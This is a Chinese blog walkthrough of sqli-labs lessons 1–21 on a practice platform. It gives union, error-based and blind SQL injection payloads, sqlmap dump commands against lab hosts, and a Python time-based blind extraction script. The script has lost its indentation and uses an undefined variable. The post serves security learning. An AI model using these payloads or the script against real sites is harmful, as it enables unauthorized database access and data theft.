sqli_labs通关记录(一)

[TOC]
早就想刷sqli_labs了,这几天正好没事干,学习一下sql注入,顺便熟悉一下sqlmap
练习平台:https://buuoj.cn/challenges#sqli-labs

Page-1(Basic Challenges)

less-1

使用联合注入

输入id=1',出现报错信息。

输入id=1'%23,页面恢复正常。

测试联合查询,发现有三段:

1
id=-1'union select 1,2,3%23

查询数据库名:

1
id=-1'union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23


查询表:

1
id=-1'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),3%23


查询列名:

1
id=-1'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='ctftraining'),3%23


查询字段:

1
id=-1'union select 1,(select group_concat(flag) from ctftraining.flag),3%23

使用报错注入

使用updatexml函数:

1
2
3
4
5
6
7
8
#查询数据库:
id=1'||updatexml(1,concat(0x7e,(select group_concat(schema_name) from information_schema.schemata),0x7e),1)%23
#查询表:
?id=1'||updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='ctftraining'),0x7e),1)%23
查列名:
id=1'||updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='ctftraining'),0x7e),1)%23
查字段:
id=1'||updatexml(1,concat(0x7e,(select group_concat(flag) from ctftraining.flag),0x7e),1)%23

使用sqlmap

参数说明:

1
2
3
4
5
6
7
8
9
10
11
12
-u              指定url
--batch 永远不要要求用户输入,使用默认行为
--method 指定请求方法(e.g. GET,POST)
--dbs 列出数据库名
-D 指定数据库
--tables 列出表名
-T 指定表名
--columns 列出列名
-C 指定列名
--dump Dump DBMS数据库表的条目
--dump-all Dump 所有DBMS数据库表的条目
--current-db 查询当前数据库

查数据库:

1
sqlmap -u "http://19d74227-be91-4963-9efb-1187a8c78bda.node3.buuoj.cn/Less-1/?id=1" --batch --method=GET --dbs

查询表:

1
sqlmap -u "http://19d74227-be91-4963-9efb-1187a8c78bda.node3.buuoj.cn/Less-1/?id=1" --batch --method=GET -D ctftraining --tables

查列名:

1
qlmap -u "http://19d74227-be91-4963-9efb-1187a8c78bda.node3.buuoj.cn/Less-1/?id=1" --batch --method=GET -D ctftraining -T flag --columns

查字段:

1
sqlmap -u "http://19d74227-be91-4963-9efb-1187a8c78bda.node3.buuoj.cn/Less-1/?id=1" --batch --method=GET -D ctftraining -T flag -C "flag" --dump

less-2

less-1一样,不用加单引号:

1
id=0 union select 1,(select flag from ctftraining.flag),3%23

less-3

less-1基础上加个括号:

1
id=0') union select 1,(select flag from ctftraining.flag),3%23

less-4

less-3单引号改为双引号:

1
id=0") union select 1,(select flag from ctftraining.flag),3%23

less-5

没有显示位了,输入单引号有报错信息,联合注入用不了了,使用报错注入,使用extractvalue函数,
extractvalueupdatexml的不同是:
extractvalue需要两个参数,而updatexml是需要三个参数。

1
id=1'^(extractvalue(1,concat(0x7e,(database()),0x7e)))%23

less-6

使用报错注入,把less-5中的单引号改为双引号,

1
id=1"^(extractvalue(1,concat(0x7e,(database()),0x7e)))%23

less-7

这个上面写的是使用into ouutfile,但我太菜了,用布尔盲注做出来的:

1
?id=1') and 1=1 and ('1'='1

less-8

time-based blind:

1
2
id=1'and (select 1 from (select(sleep(5-(if((length(database())>0),0,5)))))x)%23
id=1'and (select 5697 from (select(sleep(3-(if(ord(mid((select distinct(ifnull(cast(schema_name as nchar),0x20)) from information_schema.schemata limit 0,1),1,1))>96,0,3)))))a) and '1'='1

less-9

time-based blind:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import requests

def db_names():
db_name_list = []
#db_num = db_nums()
for n in range(int(db_num)):
db_name = ""
i =0
while(True):
i = i + 1
low = 32
high = 127

while(low < high):
mid = (low + high) >> 1

sql_url = "http://a619f897-b4fe-43c3-801f-1f36f08010a0.node3.buuoj.cn/Less-9/"
payload = "?id=1' and (select 1 from (select(sleep(3-(if(ord(mid((select distinct(ifnull(cast(schema_name as nchar), 0x20)) from information_schema.schemata limit {},1),{},1))>{},0,3)))))x) and '1'='1".format(n,i,mid)
print(payload[4:])
url = sql_url + payload
try:
r = requests.get(url=url,timeout=3)
while(True):
if r.status_code != 200:
r = requests.get(url=url,timeout=3)
else:
break
print(r.status_code,url.split("/")[-1])
high = mid
except:
low = mid + 1
if low != 32:
db_name += chr(low)
else:
break
db_name_list.append(db_name)
print("retrieved:",db_name_list[n])
print("available databases [{}]:".format(db_num))
for i in db_name_list:
print("[*]",i)


if __name__ == "__main__":
db_names()

less-10

less-9一样,单引号改成双引号

less-11

报错注入,只显示部分字符使用trim截取掉已经出现的部分

from b)```,将字符串 B 中的 A 部分删去,返回剩余部分
1
2
3
4
5
```
查数据库:
admin'||updatexml(1,concat(0x7e,trim("ctftraining,information_schema," from (select group_concat(schema_name) from information_schema.schemata)),0x7e),1)%23
查数据:
admin'||updatexml(1,concat(0x7e,trim('flag{a51ea1de-a683-4fb1-a9aa-95' from (select group_concat(flag) from ctftraining.flag)),0x7e),1)%23

less-12

1
2
xpsz") and (select 6059 from(select count(*),concat(0x7e,(select mid((ifnull(cast(schema_name as nchar),0x20)),1,54) 
from information_schema.schemata limit 0,1),0x7e,floor(rand(0)*2))x from information_schema.plugins group by x)a) and ("ygyp"="ygyp

less-13

less-12双引号改成单引号

less-14

less-12中的括号去掉

less-15

time-based blind:

1
admin' and (select 1 from (select(sleep(3-if(ord(mid((select flag from ctftraining.flag),1,1))>102,0,3))))a) and '1'='1

less-16

time-based blind:

1
admin") and (select(sleep(3-if((ord(mid((select flag from ctftraining.flag),1,1)))>100,0,3)))) and ("1"="1

less-17

从查询语句变成插入语句,好像还是一样

1
123' and updatexml(1,concat(0x7e,(select flag from ctftraining.flag),0x7e),1) and '1'='1

less-18

user-agent头报错注入。

less-19

referer注入

less-20

cookie注入

less-21

# Related Post
  1.sqli_labs通关记录(二)